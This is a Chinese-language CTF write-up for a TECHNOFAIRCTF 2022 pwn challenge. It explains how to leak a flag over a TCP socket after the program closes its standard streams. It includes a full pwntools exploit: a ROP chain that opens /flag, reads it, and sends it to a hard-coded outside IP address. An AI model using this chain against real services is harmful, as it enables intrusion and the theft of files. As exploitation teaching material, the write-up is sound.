目录

Pwn 使用 Socket 绕过关闭输出

目录

关闭输出后想要得到 flag, 可以建立一个 socket 链接, 通过 TCP 发送出去.

首先得有一个能够访问的 socket server, 可以拿有公网 ip 的服务器, 使用 nc -lp <port> 开一个 socket 服务端并监听 <port>. 然后控制程序流执行

  1. sockfd = socket(2, 1, 0) 获得一个 socket 描述符
  2. connect(sockfd, socked_addr, 16) 建立链接
  3. write(sockfd, data, size) 发送数据

socket(2, 1, 0) 是初始化一个 ipv4 的 stream socket, connect 的第二个参数 socked_addr 是服务端地址及端口编码后的一个数据结构 (struct sockaddr_in), 长度为 16. 这个数据结构的内容可以写一个 c 程序获取:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    struct sockaddr_in *serv_addr = malloc(sizeof(struct sockaddr_in));
    memset(serv_addr, 0, sizeof(struct sockaddr_in));
    serv_addr->sin_family = AF_INET;
    serv_addr->sin_addr.s_addr = inet_addr("127.0.0.1");
    serv_addr->sin_port = htons(8888);
    write(1, serv_addr, 16);
  return 0;
}

TECHNOFAIRCTF 2022 (不知道叫啥名)

Full RELRO, 没有 canary, 没有 PIE. 开了沙箱, 不能使用 execve, execveat, mprotect.

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall main(__int64 a1, char **a2, char **a3)
{
  size_t v3; // rax
  char v5[24]; // [rsp+0h] [rbp-20h] BYREF
  char *s; // [rsp+18h] [rbp-8h]

  Init();
  s = (char *)calloc(1uLL, 0x2000uLL);
  puts("\n\t\t------------------------------\n\t\tWelcome to TECHNOFAIRCTF 2022.\n\t\t------------------------------");
  printf(
    "\t Hello pwner, We need your advice to make our CTF better\n"
    "\t As an appretiation from us, we give this bonus for you [%p]\n"
    "\n",
    s);
  printf("[?] Advice\t: ");
  fgets(s, 0x2000, stdin);
  printf("[?] Team Name\t: ");
  fgets(v5, 0x30, stdin);
  puts("\nThank you. Good luck and have pwn. May the flag be with you");
  if ( !s )
    exit(-1);
  v3 = malloc_usable_size(s);
  memset(s, 0, v3);
  free(s);
  close(0);
  close(1);
  return close(2);
}

Init:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void Init()
{
  __int64 v0; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  v0 = seccomp_init();
  seccomp_rule_add(v0, 0LL, 59LL, 0LL);
  seccomp_rule_add(v0, 0LL, 322LL, 0LL);
  seccomp_rule_add(v0, 0LL, 10LL, 0LL);
  seccomp_load(v0);
}

给了一个可写的堆地址. 缓存区溢出, 覆盖 s 指针到一个可以 free 的地方绕过 memset 和 free, 进行栈迁移. 重点是后续关闭了 stdin, stdout, stderr.

由于 socket, connect 等也是 glibc 中的函数, 没有了输出要怎么找到这些函数在哪里呢? bss 上有 stdout 和 stdin 可以尝试在内存中进行加减的操作, 然后利用 ret2csu 中的 call [reg]. 这里可以搜到一个 gadget: add dword [rbp - 0x3d], ebx; nop; ret

(第一次做的时候其实找到了这个, 一看这只能加个 4 字节, 那减不了啊会加个 0xffffxxxx 上去, 然后就不会了, 我是sb)

add dword [rbp - 0x3d], ebx 是对 dword 的操作, 加个 0xffffffff, 会溢出, 而不是再往前进位. 所以是可以减的.

rbp 和 ebx 可以用 ret2csu 控制, 那么可以根据 _IO_2_1_stdout_ 和其他函数的偏移, 计算出地址, 然后 call 过去执行. connect 中的 sockaddr 可以写个程序获取到, 事先布置在 heap 上.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
elf = ELF(procname)
libc = ELF(libcname)

io.recvlines(5)
r = io.recvline()
heap = int(r[r.index(b'[')+1:r.index(b']')], 16)
success(f'leak heap: {hex(heap)}')

flag = heap + 0x1000
sockaddr = heap + 0x1010
buf = heap + 0x1500
dummy_chunk = heap - 0xb60

target = 0x00404010

pop_rbx_rbp_r12_r13_r14_r15_ret = 0x004014ea
add_rbp_0x3d_ebx_ret = 0x0040129c
leave_ret = 0x00401482
pop_rdi_ret = 0x004014f3
pop_rsi_r15_ret = 0x004014f1
csu = 0x004014c7

def ret2csu(ptr_addr, rdi, rsi, rdx):
    return flat([
        p64(pop_rbx_rbp_r12_r13_r14_r15_ret),
        p64(0),
        p64(1),
        p64(rdi),
        p64(rsi),
        p64(rdx),
        p64(ptr_addr),
        p64(csu),
        p64(0) * 7,
    ])

def modify(addr, offset):
    return flat([
        p64(pop_rbx_rbp_r12_r13_r14_r15_ret),
        p32(offset, sign='signed') + p32(0),
        p64(addr + 0x3d),
        p64(0) * 4,
        p64(add_rbp_0x3d_ebx_ret),
    ])

payload = flat([
    p64(target),
    modify(target, libc.sym['open'] - libc.sym['_IO_2_1_stdout_']),
    ret2csu(target, flag, 0, 0),
    modify(target, libc.sym['read'] - libc.sym['open']),
    ret2csu(target, 0, buf, 0x50),
    modify(target, libc.sym['socket'] - libc.sym['read']),
    ret2csu(target, 2, 1, 0),
    modify(target, libc.sym['connect'] - libc.sym['socket']),
    ret2csu(target, 1, sockaddr, 16),
    modify(target, libc.sym['write'] - libc.sym['connect']),
    ret2csu(target, 1, buf, 0x50),
]).ljust(0x1000, b'\x00')

payload += flat([
    b'/flag'.ljust(16, b'\x00'),
    b'\x02\x00\x22\xb8\x68\x81\x3f\x69'.ljust(16, b'\x00'),
]).ljust(0x1000-1, b'\x00')

io.sendafter(b': ', payload)

payload = b'a' * 0x18 + p64(dummy_chunk) + p64(heap) + p64(leave_ret)[:-1]
io.sendafter(b': ', payload)

之前看到一篇 open("/dev/pts/?") 重新打开 stdout 的, 这题一开始写的是这个但是没通, 之后再研究研究.